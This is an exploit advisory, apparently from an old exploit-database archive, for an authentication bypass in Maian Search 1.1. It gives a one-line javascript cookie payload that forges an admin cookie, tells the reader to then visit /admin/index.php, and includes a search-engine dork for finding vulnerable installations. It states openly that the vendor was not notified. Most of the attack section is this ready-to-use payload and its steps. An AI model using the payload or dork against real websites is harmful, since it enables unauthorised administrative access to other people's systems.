Maian Search <= 1.1 Insecure Cookie Handling Vulnerability

2008.07.28
Credit: S.W.A.T.
Risk: Medium
Local: No
Remote: Yes
CWE: Not in CWE


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

-[*]+================================================================================+[*]- -[*]+ Maian Search <= v1.1 Insecure Cookie Handling Vulnerability +[*]- -[*]+================================================================================+[*]- [*] Discovered By: S.W.A.T. [*] E-Mail: svvateam[at]yahoo[dot]com [*] Script Download: http://www.maianscriptworld.co.uk [*] DORK: Powered by: Maian Search v1.1 [*] Vendor Has Not Been Notified! [*] DESCRIPTION: Maian Search suffers from a insecure cookie, the admin panel only checks if the cookie exists. and not the content. so we can easyily craft a cookie and look like a admin. [*] Vulnerability: javascript:document.cookie = "search_cookie=1; path=/"; [*] NOTE/TIP: after running the javascript, visit "/admin/index.php" to view admin area. -[*]+================================================================================+[*]- -[*]+ Maian Search <= v1.1 Insecure Cookie Handling Vulnerability +[*]- -[*]+================================================================================+[*]-

References:

http://www.securityfocus.com/bid/30211
http://www.milw0rm.com/exploits/6066
http://www.maianscriptworld.co.uk/news.html
http://www.maianscriptworld.co.uk/free-php-scripts/maian-search/development/index.html
http://secunia.com/advisories/31075


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